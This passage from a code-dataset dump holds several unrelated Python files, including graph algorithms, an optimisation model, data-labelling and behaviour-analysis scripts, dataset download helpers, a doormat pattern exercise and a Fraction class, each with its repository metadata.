fbx asset\ninput_fbx = get_fbx_asset(files_in_directory)\n\noutput_command_string = './dependencies/FBX2glTF ' + input_fbx\n\nprint('------------')\nprint('Final output string:')\nprint(output_command_string)\n\nos.system(output_command_string)","sub_path":"fbx2gltf_sw.py","file_name":"fbx2gltf_sw.py","file_ext":"py","file_size_in_byte":993,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"331126335","text":"\"\"\"\nGiven a list of flights (starting city, ending city, price), find the cheapest flight(s) from A to B.\n\nflights = [\n [\"London\", \"Paris\", \"150\"],\n [\"London\", \"Istanbul\", \"75\"],\n [\"Istanbul\", \"Paris\", \"25\"],\n]\n\nLondon -> Paris: cheapest flight is London -> Istanbul -> Paris (100)\n\n\"\"\"\nimport heapq\n\n\ndef cheapestFlight(flights, starting_city, ending_city):\n city_graph = make_graph(flights) # { \"starting city\": (price, \"destination\") }\n\n price_heap = [(price_tuple[0], [starting_city, price_tuple[1]]) for price_tuple in city_graph[starting_city]]\n # price_heap = city_graph[starting_city]\n # make a min-heap\n heapq.heapify(price_heap) # heapq.heapify(city_graph[starting_city])\n visited = set()\n print(price_heap)\n\n\n while price_heap:\n price, path_to_city = heapq.heappop(price_heap)\n next_city = path_to_city[-1]\n visited.add(next_city)\n if next_city == ending_city:\n return price, path_to_city\n for add_price, next_next_city in city_graph[next_city]:\n if next_next_city in visited:\n continue\n\n new_price = add_price + price\n next_next_price_city = (new_price, path_to_city + [next_next_city])\n heapq.heappush(price_heap, next_next_price_city)\n # print(price_heap)\n\n\n return (float('inf'), None)\n # time:O(n)\n # space:O(n^2)\n\n\ndef make_graph(flights):\n city_graph = {}\n for start, end, price in flights:\n city_graph[start] = city_graph.get(start, []) + [(int(price), end)]\n city_graph[end] = city_graph.get(end, [])\n return city_graph\n\nflights = [\n [\"London\", \"Paris\", \"150\"],\n [\"London\", \"Istanbul\", \"75\"],\n [\"Istanbul\", \"Paris\", \"25\"]\n]\n\nprint(make_graph(flights))\nprint(cheapestFlight(flights, \"London\", \"Paris\"))\n","sub_path":"Others/CheapestFlight.py","file_name":"CheapestFlight.py","file_ext":"py","file_size_in_byte":1794,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"590894017","text":"'''\nCreated on 2019年2月1日\n\n@author: jinglingzhiyu\n'''\nimport pandas as pd\nimport os\n\ncf_protocol_demo = {'name':'classification',\n 'save_path':'label.csv',\n 'root_path':'H://临时拷贝//alitianchi_competition//数据//guangdong_round1_train2_20180916',\n 'details':[{'father':['无瑕疵样本'],'type':['.jpg'],'contain':[]},\n {'father':['不导电'],'type':['.jpg'],'contain':[]},\n {'father':['擦花'],'type':['.jpg'],'contain':[]},\n {'father':['横条压凹'],'type':['.jpg'],'contain':[]},\n {'father':['桔皮'],'type':['.jpg'],'contain':[]},\n {'father':['漏底'],'type':['.jpg'],'contain':[]},\n {'father':['碰伤'],'type':['.jpg'],'contain':[]},\n {'father':['起坑'],'type':['.jpg'],'contain':[]},\n {'father':['凸粉'],'type':['.jpg'],'contain':[]},\n {'father':['涂层开裂'],'type':['.jpg'],'contain':[]},\n {'father':['脏点'],'type':['.jpg'],'contain':[]},\n {'father':['伤口','划伤','变形','喷流','喷涂碰伤',\n '打白点','打磨印','拖烂','杂色','气泡',\n '油印','油渣','漆泡','火山口','碰凹',\n '粘接','纹粗','角位漏底','返底','铝屑',\n '驳口'],'type':['.jpg','.png'],'contain':[]}]}\n\ndef make_cf_gc_protocol(save_path,root_path,mode,imgtype = '.jpg',**args):\n protocol = {}\n protocol['save_path'],protocol['root_path'] = save_path,root_path\n protocol['details'],protocol['name'] = [],'classification'\n if 'path_name' in args.keys():\n protocol['img_name'] = args['path_name']\n else:\n protocol['img_name'] = 'img_path'\n if 'class_name' in args.keys():\n protocol['class_name'] = args['class_name']\n else:\n protocol['class_name'] = 'label'\n if(mode==1):\n for xx in range(len(args['describes'])):\n protocol['details'].append({})\n protocol['details'][xx]['father'] = args['describes'][xx]\n protocol['details'][xx]['type'] = [imgtype]\n protocol['details'][xx]['contain']= []\n else:\n print('待施工') #&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&\n return protocol\n\n\ndef gen_cf_ass_csv(protocol):\n #函数功能:生成分类任务的csv文件\n #输入:protocol : gen_csv模块协议\n #输出:img_path : 图像文件list\n # label :图像类别标签list\n root_path = protocol['root_path']\n details = protocol['details']\n save_path = protocol['save_path']\n img_path, label = [], []\n match_1,match_2,match_3 = 1,1,1\n for roots,_,files in os.walk(root_path):\n father = os.path.split(roots)[-1]\n for cur_file in files:\n for classes in range(len(details)):\n for fathers in details[classes]['father']:\n match_1 = 0\n if(fathers==father):\n match_1 = 1\n break\n for types in details[classes]['type']:\n match_2 = 0\n if(cur_file[-4:]==types):\n match_2 = 1\n break\n for contains in details[classes]['contain']:\n match_3 = 0\n if contains in cur_file:\n match_3 = 1\n break\n if((match_1)&(match_2)&(match_3)):\n img_path.append(roots+'//'+cur_file)\n label.append(classes)\n label_file = pd.DataFrame({protocol['img_name']: img_path, protocol['class_name']: label})\n if save_path is not None:\n label_file.to_csv(save_path, index=False)\n return img_path, label\n \n \n\nif __name__ == '__main__':\n #使用demo协议生成csv文件\n# from gen_csv.gathor import gen_csv_module\n# gen_csvs = gen_csv_module(gen_cf_ass_csv) #建立gen_csv模块\n# gen_csvs(cf_protocol_demo) #生成csv文件\n \n #使用函数输入的形式生成csv文件\n from gen_csv.gather import gen_csv_module\n gen_csvs = gen_csv_module(gen_cf_ass_csv)\n protocol = make_cf_gc_protocol(save_path='label.csv',\n root_path='H://临时拷贝//alitianchi_competition//数据//guangdong_round1_train2_20180916',\n mode = 1,\n describes=[['无瑕疵样本'],['不导电'],['擦花'],['横条压凹'],['桔皮'],['漏底'],\n ['碰伤'],['起坑'],['凸粉'],['涂层开裂'],['脏点'],['伤口','划伤','变形','喷流','喷涂碰伤',\n '打白点','打磨印','拖烂','杂色','气泡','油印','油渣','漆泡','火山口','碰凹','粘接',\n '纹粗','角位漏底','返底','铝屑','驳口']])\n gen_csvs(protocol)\n\n\n\n","sub_path":"gen_csv/classification.py","file_name":"classification.py","file_ext":"py","file_size_in_byte":5369,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"638987521","text":"import numpy as np\r\nimport tables \r\nimport matplotlib.pyplot as plt\r\n\r\n\"\"\"\r\n- look at trial_type and it's redefinition line 88\r\n- make sure probabilities add to 1\r\n- look at trials by left/right to see if there's a directional bias (if so, maybe have instructed targets all to one side when stimulating?)\r\n- make running_avg_length an input variable\r\n- output plots\r\n- write data to files\r\n\r\n\"\"\"\r\n\r\ndef free_choice_behavior_analysis_old(hdf_file):\r\n\t# used when instructed trials came in blocks of three\r\n\thdf = tables.openFile(hdf_file)\r\n\t# states\r\n\tstate = hdf.root.task_msgs[:]['msg']\r\n\tstate_time = hdf.root.task_msgs[:]['time']\r\n\t# target info\r\n\ttargetH = hdf.root.task[:]['targetH']\r\n\ttargetL = hdf.root.task[:]['targetL']\r\n\r\n\tind_wait_states = np.ravel(np.nonzero(state == 'wait'))\r\n\tind_target_states = np.ravel(np.nonzero(state == 'target'))\r\n\tind_check_reward_states = np.ravel(np.nonzero(state == 'check_reward'))\r\n\tnum_successful_trials = ind_check_reward_states.size\r\n\ttarget_times = state_time[ind_target_states]\r\n\r\n\tcounter = 1\r\n\ttime_counter = 1\r\n\trunning_avg_length = 50\r\n\r\n\r\n\r\ndef free_choice_behavior_analysis(hdf_file):\r\n\t'''\r\n\tExtract data and initialize parameters.\r\n\t'''\r\n\thdf = tables.openFile(hdf_file)\r\n\t# states\r\n\tstate = hdf.root.task_msgs[:]['msg']\r\n\tstate_time = hdf.root.task_msgs[:]['time']\r\n\t# target info\r\n\ttargetH = hdf.root.task[:]['targetH']\r\n\ttargetL = hdf.root.task[:]['targetL']\r\n\t# reward schedules\r\n\treward_scheduleH = hdf.root.task[:]['reward_scheduleH']\r\n\treward_scheduleL = hdf.root.task[:]['reward_scheduleL']\r\n\t# instructed (1) or free-choice (2) trial \r\n\ttrial_type = hdf.root.task[:]['target_index']\r\n\r\n\tind_wait_states = np.ravel(np.nonzero(state == 'wait'))\r\n\tind_target_states = np.ravel(np.nonzero(state == 'target'))\r\n\tind_check_reward_states = np.ravel(np.nonzero(state == 'check_reward'))\r\n\tnum_successful_trials = ind_check_reward_states.size\r\n\ttarget_times = state_time[ind_target_states]\r\n\t# creates vector same size of state vectors for comparison. instructed (0) and free-choice (1)\r\n\tinstructed_or_freechoice = trial_type[state_time[ind_target_states]] \r\n\tnum_free_choice_trials = sum(instructed_or_freechoice) - num_successful_trials\r\n\t# creates vector of same size of target info: maxtrix of num_successful_trials x 3; (position_offset, reward_prob, left/right)\r\n\ttargetH_info = targetH[state_time[ind_target_states]]\r\n\ttargetL_info = targetL[state_time[ind_target_states]]\r\n\r\n\tcounter = 1\r\n\ttime_counter = 1\r\n\trunning_avg_length = 50\r\n\r\n\t# initialize variables\r\n\ttarget_all = np.zeros(ind_check_reward_states.size)\r\n\treward_all = np.zeros(target_all.size)\r\n\ttarget_freechoice = np.zeros(num_free_choice_trials)\r\n\treward_freechoice = np.zeros(num_free_choice_trials)\r\n\tprob_choose_high_freechoice = np.zeros(target_freechoice.size)\r\n\tprob_choose_low_freechoice = np.zeros(target_freechoice.size)\r\n\tprob_reward_high_freechoice = np.zeros(target_freechoice.size)\r\n\tprob_reward_low_freechoice = np.zeros(target_freechoice.size)\r\n\tprob_lowR_switchH = np.zeros(target_freechoice.size)\r\n\tprob_lowNR_switchH = np.zeros(target_freechoice.size)\r\n\tprob_highR_switchL = np.zeros(target_freechoice.size)\r\n\tprob_highNR_switchL = np.zeros(target_freechoice.size)\r\n\tprob_choose_high_all = np.zeros(target_all.size)\r\n\tprob_choose_low_all = np.zeros(target_all.size)\r\n\tprob_reward_high_all = np.zeros(target_all.size)\r\n\tprob_reward_low_all = np.zeros(target_all.size)\r\n\r\n\t'''\r\n\tTarget choices for all (instructed and free-choice) and free-choice only trials\r\n\t'''\r\n\tfor i in range(0,ind_check_reward_states.size):\r\n\t\ttarget_state = state[ind_check_reward_states[i] - 2]\r\n\t\ttrial = trial_type[state_time[ind_check_reward_states[i] -2]]\r\n\t\tif target_state == 'hold_targetL':\r\n\t\t\ttarget_all[i] = 1\r\n\t\telse:\r\n\t\t\ttarget_all[i] = 2\r\n\r\n\t\treward_all[i] = state[ind_check_reward_states[i]+1] == 'reward'\r\n\r\n\t\tif trial == 2:\r\n\t\t\ttarget_freechoice[counter] = target_all[i]\r\n\t\t\treward_freechoice[counter] = reward_all[i]\r\n\r\n\t'''\r\n\tProbability of target selection, reward, and switching for free-choice trials\r\n\t'''\r\n\tfor i in range(0,target_freechoice.size):\r\n\t\tchosen_high_freechoice = target_freechoice[range(np.maximum(1,i+1 - running_avg_length),i)] == 2\r\n\t\tchosen_low_freechoice = target_freechoice[range(np.maximum(1,i+1 - running_avg_length),i)] == 1\r\n\t\treward_high_freechoice = np.logical_and(chosen_high_freechoice,reward_freechoice[range(np.maximum(1,i+1 - running_avg_length),i)])\r\n\t\treward_low_freechoice = np.logical_and(chosen_low_freechoice,reward_freechoice[range(np.maximum(1,i+1 - running_avg_length),i)])\r\n\r\n\t\tprob_choose_high_freechoice[i] = sum(chosen_high_freechoice)/np.minimum(i+1,running_avg_length)\r\n\t\tprob_choose_low_freechoice[i] = sum(chosen_low_freechoice)/np.minimum(i+1,running_avg_length)\r\n\t\tprob_reward_high_freechoice[i] = sum(reward_high_freechoice)/(sum(chosen_high_freechoice) + np.nan*(sum(chosen_high_freechoice)==0))\r\n\t\tprob_reward_low_freechoice[i] = sum(reward_low_freechoice)/(sum(chosen_low_freechoice) + np.nan*(sum(chosen_low_freechoice)==0))\r\n\r\n\t\tlowR_switchH = np.logical_and(chosen_high_freechoice[1:],reward_low_freechoice[:-1])\r\n\t\tlowNR_switchH = np.logical_and(np.logical_and(chosen_high_freechoice[1:],chosen_low_freechoice[:-1]),np.logical_not(reward_low_freechoice[:-1]))\r\n\t\thighR_switchL = np.logical_and(chosen_low_freechoice[1:],reward_high_freechoice[:-1])\r\n\t\thighNR_switchL = np.logical_and(np.logical_and(chosen_low_freechoice[1:],chosen_high_freechoice[:-1]),np.logical_not(reward_high_freechoice[:-1]))\r\n\r\n\t\tprob_lowR_switchH[i] = sum(lowR_switchH)/(sum(reward_low_freechoice[:-1]) + np.nan*(sum(reward_low_freechoice[:-1])==0))\r\n\t\tprob_lowNR_switchH[i] = sum(lowNR_switchH)/(sum(np.logical_and(chosen_low_freechoice[:-1],np.logical_not(reward_low_freechoice[:-1]))) + np.nan*(sum(np.logical_and(chosen_low_freechoice[:-1],np.logical_not(reward_low_freechoice[:-1])))==0))\r\n\t\tprob_highR_switchL[i] = sum(highR_switchL)/(sum(reward_high_freechoice[:-1]) + np.nan*(sum(reward_high_freechoice)==0))\r\n\t\tprob_highNR_switchL[i] = sum(highNR_switchL)/(sum(np.logical_and(chosen_high_freechoice[:-1],np.logical_not(reward_high_freechoice[:-1]))) + np.nan*(sum(np.logical_and(chosen_high_freechoice[:-1],np.logical_not(reward_high_freechoice[:-1])))==0))\r\n\r\n\t'''\r\n\tProbability of target select and reward for all trials\r\n\t'''\r\n\tfor i in range(0,target_all.size):\r\n\t\tchosen_high_all = target_all[range(np.maximum(1,i+1 - running_avg_length),i)] == 2\r\n\t\tchosen_low_all = target_all[range(np.maximum(1,i+1 - running_avg_length),i)] == 1\r\n\t\treward_high_all = np.logical_and(chosen_high_all,reward_all[range(np.maximum(1,i+1 - running_avg_length),i)])\r\n\t\treward_low_all = np.logical_and(chosen_low_all,reward_all[range(np.maximum(1,i+1 - running_avg_length),i)])\r\n\r\n\t\tprob_choose_high_all[i] = sum(chosen_high_all)/np.minimum(i+1,running_avg_length)\r\n\t\tprob_choose_low_all[i] = sum(chosen_low_all)/np.minimum(i+1,running_avg_length)\r\n\t\tprob_reward_high_all[i] = sum(reward_high_all)/(sum(chosen_high_all) + np.nan*(sum(chosen_high_all)==0))\r\n\t\tprob_reward_low_all[i] = sum(reward_low_all)/(sum(chosen_low_all) + np.nan*(sum(chosen_low_all)==0))\r\n\r\n\t'''\r\n\tPlot results\r\n\t'''\r\n\tplt.figure()\r\n\tplt.plot(range(1,target_all.size+1),prob_choose_high_all,'b',range(1,target_all.size+1),prob_choose_low_all,'r')\r\n\tplt.ylabel('Probability of Target Selection - All')\r\n\tplt.xlabel('Trial')\r\n\tplt.show()\r\n\r\n\t'''\r\n\tplt.figure()\r\n\tplt.plot(range(1,target_all.size+1),prob_reward_high_all,'b',range(1,target_all.size+1),prob_reward_low_all,'r')\r\n\tplt.ylabel('Probability of Reward')\r\n\tplt.xlabel('Trial')\r\n\tplt.show()\r\n\r\n\tplt.figure()\r\n\tplt.plot(range(1,target_freechoice.size+1),prob_choose_high_freechoice,'b',range(1,target_freechoice.size+1),prob_choose_low_freechoice,'r')\r\n\tplt.ylabel('Probability of Target Selection - Free Choice')\r\n\tplt.xlabel('Trial')\r\n\tplt.show()\r\n\r\n\tplt.figure()\r\n\tplt.plot(range(1,target_freechoice.size+1),prob_reward_high_frechoice,'b',range(1,target_freechoice.size+1),prob_reward_low_freechoice,'r')\r\n\tplt.ylabel('Probability of Reward')\r\n\tplt.xlabel('Trial')\r\n\tplt.show()\r\n\t'''\r\n\t'''\r\n\tSave data\r\n\t'''\r\n","sub_path":"analysis/free_choice_analysis.py","file_name":"free_choice_analysis.py","file_ext":"py","file_size_in_byte":8110,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"572553257","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[21]:\n\n\n#coefficients and parameters\nProduction=[\"Plant1\",\"Plant2\"]\nWarehouse=[\"W1\",\"W2\"]\nCustomer=[\"R1\",\"R2\",\"R3\"]\n\n#demand for plant\ndemand_w={}\ndemand_w[\"Plant1\"]=225\ndemand_w[\"Plant2\"]=300\n\n#final demand of retailer\ndemand={}\ndemand[\"R1\"]=175\ndemand[\"R2\"]=200\ndemand[\"R3\"]=150\n\n#transportation cost from plant to warehouse\ncost_w={\n (\"Plant1\",\"W1\"):450,\n (\"Plant1\",\"W2\"):560,\n (\"Plant2\",\"W1\"):510,\n (\"Plant2\",\"W2\"):600,\n}\n\n#capacity for warehouse\ncapacity_p={\n (\"Plant1\",\"W1\"):125,\n (\"Plant1\",\"W2\"):150,\n (\"Plant2\",\"W1\"):175,\n (\"Plant2\",\"W2\"):200,\n}\n\n#transportation cost from warehouse to retailer\ncost_r={\n (\"W1\",\"R1\"):470,\n (\"W1\",\"R2\"):505,\n (\"W1\",\"R3\"):495,\n \n (\"W2\",\"R1\"):390,\n (\"W2\",\"R2\"):415,\n (\"W2\",\"R3\"):440,\n}\n\n#capacity for retailer\ncapacity_w={\n (\"W1\",\"R1\"):100,\n (\"W1\",\"R2\"):150,\n (\"W1\",\"R3\"):100,\n \n (\"W2\",\"R1\"):125,\n (\"W2\",\"R2\"):150,\n (\"W2\",\"R3\"):75,\n}\n\n\n# In[22]:\n\n\nfrom gurobipy import * \nmodel = Model(\"Makonsel\")\n\n#decision variable\nX={}\nY={}\n\nfor i in Production:\n for j in Warehouse:\n X[i,j] = model.addVar(vtype=GRB.INTEGER,lb=0,ub=GRB.INFINITY)\n \nfor i in Warehouse:\n for j in Customer:\n Y[i,j] = model.addVar(vtype=GRB.INTEGER,lb=0,ub=GRB.INFINITY)\n \nmodel.modelSense = GRB.MINIMIZE \nmodel.update()\n\n\n# In[24]:\n\n\n#demand constraints\n#for plant\nfor i in Production: \n model.addConstr(quicksum(X[i,j] for j in Warehouse)== demand_w[i]) \n\n#for customer\nfor j in Customer: \n model.addConstr(quicksum(Y[i,j] for i in Warehouse)== demand[j]) \n \n#maximum flow contraints\n#for warehouse\nfor i in Production:\n for j in Warehouse:\n model.addConstr(X[i,j] <= capacity_p[i,j]) \n#for customer\nfor i in Warehouse:\n for j in Customer:\n model.addConstr(Y[i,j] <= capacity_w[i,j]) \n \n# Equilibrium \nfor j in Warehouse:\n model.addConstr(quicksum(X[i,j] for i in Production) - quicksum(Y[j,m] for m in Customer) == 0) \n\n#objective function\nobjective = quicksum(cost_w[i,j]*X[i,j] for j in Warehouse for i in Production)+ quicksum(cost_r[i,m]*Y[i,m] for m in Customer for i in Warehouse)\n\nmodel.setObjective(objective)\nmodel.optimize()\n\n\n# In[25]:\n\n\n#Printing outputs\nif model.status==GRB.OPTIMAL:\n print (\"Optimal value:\", model.objVal)\n print (\"--- Quantity (Production to Warehouse)---\")\n for i in Production: \n for j in Warehouse:\n print ( i, j, X[i,j].x)\n \n print (\"--- Quantity (Warehouse to Customers)---\")\n for i in Warehouse: \n for j in Customer:\n print (i, j, Y[i,j].x)\n\n","sub_path":"Makonsel-Problem3.py","file_name":"Makonsel-Problem3.py","file_ext":"py","file_size_in_byte":2652,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"358124029","text":"from zope.browserpage import ViewPageTemplateFile\nfrom zope.container.interfaces import INameChooser\nfrom zope.formlib import form\n\nfrom interfaces import ISampleApplication\nfrom app import SampleApplication\n\n\nclass RootDefaultView(form.DisplayForm):\n\n __call__ = ViewPageTemplateFile('index.pt')\n\n\nclass AddSampleApplication(form.AddForm):\n\n form_fields = form.Fields(ISampleApplication)\n\n def createAndAdd(self, data):\n name = data['name']\n description = data.get('description')\n namechooser = INameChooser(self.context)\n app = SampleApplication()\n name = namechooser.chooseName(name, app)\n app.name = name\n app.description = description\n self.context[name] = app\n self.request.response.redirect(name)\n\n\nclass SampleApplicationDefaultView(form.DisplayForm):\n\n def __call__(self):\n return \"\"\"Welcome to the Sample application\"\"\"\n\n","sub_path":"collective/recipe/bluebream/welcome/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":913,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"453547148","text":"# @numba.jit(nopython=True,parallel=True)\nimport numpy\nfrom scipy import stats\n\n\ndef DN_Withinp(x, p=1, meanOrMedian='mean'):\n \"\"\"\n \"\"\"\n N = len(x)\n\n if meanOrMedian == 'mean':\n mu = numpy.mean(x)\n sig = numpy.std(x)\n elif meanOrMedian == 'median':\n mu = numpy.median(x)\n sig = 1.35 * stats.iqr(x)\n else:\n raise Exception('Unknown meanOrMedian should be mean or median')\n return numpy.sum((x >= mu - p * sig) & (x <= mu + p * sig)) / N\n","sub_path":"hctsa/Operations/DN_Withinp.py","file_name":"DN_Withinp.py","file_ext":"py","file_size_in_byte":492,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"37800293","text":"import sys\nfrom math import inf, isinf\nread=lambda:sys.stdin.readline().strip()\nwrite=lambda x:sys.stdout.write(str(x)+\"\\n\")\nN, M = map(int, read().split())\nG = {i:{\"to\":set(), \"dist\":inf, \"visited\":False} for i in range(1, N+1)}\nfor _ in range(M):\n a, b, c = map(int, read().split())\n G[a][\"to\"].add((b, c))\n\nG[1][\"dist\"] = 0\nflag = False\nfor i in range(N):\n for cur in range(1, N+1):\n for nxt, weight in G[cur][\"to\"]:\n # if isinf(G[nxt][\"dist\"]):\n # continue\n if G[cur][\"dist\"] + weight < G[nxt][\"dist\"]:\n G[nxt][\"dist\"] = G[cur][\"dist\"] + weight\n if i == N-1:\n flag = True\n\nif flag:\n write(\"-1\")\nelse:\n dists = [G[i][\"dist\"] for i in range(1, N+1)] \n for d in dists[1:]:\n if isinf(d):\n write(-1)\n else:\n write(d)","sub_path":"graph_problems/Shortest_path/bellmann_ford/timemachine_11657.py","file_name":"timemachine_11657.py","file_ext":"py","file_size_in_byte":864,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"69233582","text":"'''\r\n## Designer Doormat\r\n\r\nYou got a request from a doormat manufacturing company. They want to create a\r\n pattern for the doormat. User can customize a pattern by his custom text.\r\nThe only condition is that the length of the text should be odd.\r\n\r\nThis is the doormat pattern for text \"Welcome\"\r\n\r\n```text\r\n-----------------\r\n------..W..------\r\n----....E....----\r\n--......L......--\r\n--W.E.L.C.O.M.E--\r\n--......O......--\r\n----....M....----\r\n------..E..------\r\n-----------------\r\n```\r\n\r\nNotice that if the length of the text is ```n``` then the width of the pattern\r\n will be ```2*n+3``` and the height will be ```n+2```. And all the characters are uppercase.\r\n\r\nYou are given a user text and you need to print the doormat pattern for it. If the length is\r\n not odd or it contains any characters other than letters then it should print \"text not supported\"\r\n\r\n# Input Format:\r\nYou will be given an string *s*.\r\n\r\n# Constraints:\r\n1 <= *len(s)* <= 19\r\n\r\n# Output Format:\r\nDoormat pattern using the string characters, '-', and '.'.\r\n'''\r\nimport random\r\n\r\ndef solve(s):\r\n n = len(s)\r\n if n % 2 == 0 or sum([c.isalpha() for c in s]) != n:\r\n return \"text not supported\"\r\n s = s.upper()\r\n n2 = int(n//2)\r\n w = 2*n+3\r\n output = [''.center(w, '-')]\r\n for i, c in enumerate(s[:n2]):\r\n output.append(('..'*(i+1) + c + '..'*(i+1)).center(w, '-'))\r\n output.append(('.'.join(s)).center(w, '-'))\r\n for i, c in enumerate(s[n2+1:]):\r\n output.append(('..'*(n2-i) + c + '..'*(n2-i)).center(w, '-'))\r\n output.append(''.center(w, '-'))\r\n return '\\n'.join(output)\r\n\r\ndef main():\r\n # return solve(\"Bienvenue\")\r\n inputs = [\"WELCOME\", \"nice\", \"swaagat\", \"se7en\", \"Arigato\", \"CS GLITZ\", \"Rythm\", \"come in\", \"Bienvenue\", \"Sh@hs\", \"csglitz\", \"ABCDEFGHIJIHGFEDCBA\"]\r\n return [(x, solve(x)) for x in inputs]\r\n\r\nif __name__ == \"__main__\":\r\n print(main())\r\n","sub_path":"from_rahul/assignments/14_doormat.py","file_name":"14_doormat.py","file_ext":"py","file_size_in_byte":1892,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"383235166","text":"# pylint: skip-file\nimport os, gzip\nimport pickle as pickle\nimport sys\nimport requests\nimport zipfile\n\ndef download_file(url, target_file):\n r = requests.get(url, stream=True)\n with open(target_file, 'wb') as f:\n for chunk in r.iter_content(chunk_size=1024 * 1024):\n if chunk:\n f.write(chunk)\n\n# download mnist.pkl.gz\ndef GetMNIST_pkl():\n if not os.path.isdir(\"data/\"):\n os.mkdir(\"data\")\n if not os.path.exists('data/mnist.pkl.gz'):\n download_file(\"http://deeplearning.net/data/mnist/mnist.pkl.gz\", \"data/mnist.pkl.gz\")\n\n# download ubyte version of mnist and untar\ndef GetMNIST_ubyte():\n if not os.path.isdir(\"data/\"):\n os.mkdir(\"data\")\n if (not os.path.exists('data/train-images-idx3-ubyte')) or \\\n (not os.path.exists('data/train-labels-idx1-ubyte')) or \\\n (not os.path.exists('data/t10k-images-idx3-ubyte')) or \\\n (not os.path.exists('data/t10k-labels-idx1-ubyte')):\n download_file(\"http://webdocs.cs.ualberta.ca/~bx3/data/mnist.zip\", \"data/mnist.zip\")\n os.chdir(\"./data\")\n with zipfile.ZipFile('mnist.zip', \"r\") as z:\n z.extractall()\n os.chdir(\"..\")\n\n# download cifar\ndef GetCifar10():\n if not os.path.isdir(\"data/\"):\n os.mkdir(\"data\")\n if not os.path.exists('data/cifar10.zip'):\n download_file(\"http://webdocs.cs.ualberta.ca/~bx3/data/cifar10.zip\", \"data/cfar10.zip\")\n os.chdir(\"./data\")\n with zipfile.ZipFile('cifar10.zip', \"r\") as z:\n z.extractall()\n os.chdir(\"..\")\n","sub_path":"tests/python/common/get_data.py","file_name":"get_data.py","file_ext":"py","file_size_in_byte":1554,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"575871879","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\n Implement a class for fractions that supports addition, subtraction, multiplication, and division\n\n This file provides a framework for HW02 that you can use to get organize your solution.\n You may also use a different solution.\n\"\"\"\n\n\nclass Fraction:\n \"\"\" Support addition, subtraction, multiplication, division, equality, non equality, less than, greater than, less than equal, greater than equal of fractions\n with a simple algorithm\n \"\"\"\n\n def __init__(self, num: float, denom: float) -> None:\n \"\"\" store num and denom\n Raise ZeroDivisionError on 0 denominator\n \"\"\"\n self.num: float = num\n self.denom: float = denom\n if denom == 0:\n raise ZeroDivisionError(\"Denominator cannot be 0\")\n\n def __str__(self) -> str:\n \"\"\" return a String to display fractions \"\"\"\n return f\"{self.num}/{self.denom}\"\n\n def __add__(self, other: \"Fraction\") -> \"Fraction\":\n \"\"\" Add two fractions using simplest approach.\n Calculate new numerator and denominator and return new Fraction\n \"\"\"\n return Fraction(self.num * other.denom + other.num * self.denom, self.denom * other.denom)\n\n def __sub__(self, other: \"Fraction\") -> \"Fraction\":\n \"\"\" subtract two fractions using simplest approach\n Calculate new numerator and denominator and return new Fraction\n \"\"\"\n return Fraction(self.num * other.denom - other.num * self.denom, self.denom * other.denom)\n\n def __mul__(self, other: \"Fraction\") -> \"Fraction\":\n \"\"\" Multiply two fractions using simplest approach\n Calculate new numerator and denominator and return new Fraction\n \"\"\"\n return Fraction(self.num * other.num, self.denom * other.denom)\n\n def __truediv__(self, other: \"Fraction\") -> \"Fraction\":\n \"\"\" Divide two fractions using simplest approach.\n Calculate new numerator and denominator and return new Fraction\n \"\"\"\n return Fraction(self.num * other.denom, self.denom * other.num)\n\n def __eq__(self, other: \"Fraction\") -> bool:\n \"\"\" Check equality between two fractions using simplest approach.\n Calculate new numerator and denominator and return new Fraction\n \"\"\"\n if ((self.num * other.denom) == (self.denom * other.num)) :\n return True\n else:\n return False\n\n def __ne__(self, other: \"Fraction\") -> bool:\n \"\"\" Check not equal to between two fractions using simplest approach.\n Calculate new numerator and denominator and return new Fraction\n \"\"\"\n if ((self.num * other.denom) != (self.denom * other.num)):\n return True\n else:\n return False\n\n def __lt__(self, other: \"Fraction\") -> bool:\n \"\"\" Check less than two fractions using simplest approach.\n Calculate new numerator and denominator and return new Fraction\n \"\"\"\n if ((self.num * other.denom) < (self.denom * other.num)):\n return True\n else:\n return False\n\n def __le__(self, other: \"Fraction\") -> bool:\n \"\"\" Check less than equal two fractions using simplest approach.\n Calculate new numerator and denominator and return new Fraction\n \"\"\"\n if ((self.num * other.denom) <= (self.denom * other.num)):\n return True\n else:\n return False\n\n def __gt__(self, other: \"Fraction\") -> bool :\n \"\"\" Check greater than between two fractions using simplest approach.\n Calculate new numerator and denominator and return new Fraction\n \"\"\"\n if ((self.num * other.denom) > (self.denom * other.num)):\n return True\n else:\n return False\n\n def __ge__(self, other: \"Fraction\") -> bool:\n \"\"\" Check greater than equal between two fractions using simplest approach.\n Calculate new numerator and denominator and return new Fraction\n \"\"\"\n if ((self.num * other.denom) <= (self.denom * other.num)):\n return True\n else:\n return False\n\n def simplify(self):\n \"\"\"Use to simplify the fraction\"\"\"\n a:float = self.num\n b:float = self.denom\n i:int = 1\n while (i <= a and i <= b):\n if (a % i == 0 and b % i == 0):\n gcd:int = i\n i = i + 1\n num:float = a / gcd\n denom:float = b / gcd\n return Fraction(int(num), int(denom))\n\n\ndef get_number(prompt: str) -> float:\n \"\"\" read and return a number from the user.\n Loop until the user provides a valid number.\n \"\"\"\n while True:\n inp: str = input(prompt)\n try:\n return float(inp)\n except ValueError:\n print(f\"Error: '{inp}' is not a number. Please try again...\")\n\n\ndef get_fraction() -> Fraction:\n \"\"\" Ask the user for a numerator and denominator and return a valid Fraction \"\"\"\n while True:\n\n num: float = 